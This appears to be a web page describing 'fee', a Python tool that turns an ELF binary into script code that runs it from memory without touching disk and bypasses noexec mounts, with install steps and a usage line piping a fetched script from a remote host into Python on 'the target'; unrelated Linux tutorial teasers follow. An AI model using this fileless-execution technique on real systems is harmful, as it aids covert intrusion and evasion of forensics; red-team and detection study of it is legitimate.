This Python script generates interpreted code which creates the supplied ELF as a file in memory and executes it (without tmpfs).
This makes it possible to execute binaries without leaving traces on the disk.
The technique used for this is explained here.
With default options for each interpreter, running binaries using fee
does not write to disk whatsoever. This can be verified using tools such as strace
.
fee
also completely ignores and bypasses noexec
mount flags, even if they were set on /proc
.
memfd_create
support)Install this on your host machine using pipx:
$ pipx install fee
… or regular pip:
$ pip install --user fee
You may also clone this repository and run the script directly.
Basic usage: supply the path to the binary you wish to drop:
$ fee /path/to/binary > output.py
You can then pipe this into Python on the target:
$ curl my.example.site/output.py | python
For more information click here.
Introduction to the Model Context Protocol (MCP) The Model Context Protocol (MCP) is an open…
While file extensions in Linux are optional and often misleading, the file command helps decode what a…
The touch command is one of the quickest ways to create new empty files or update timestamps…
Handling large numbers of files is routine for Linux users, and that’s where the find command shines.…
Managing files and directories is foundational for Linux workflows, and the mv (“move”) command makes it easy…
Creating directories is one of the earliest skills you'll use on a Linux system. The mkdir (make…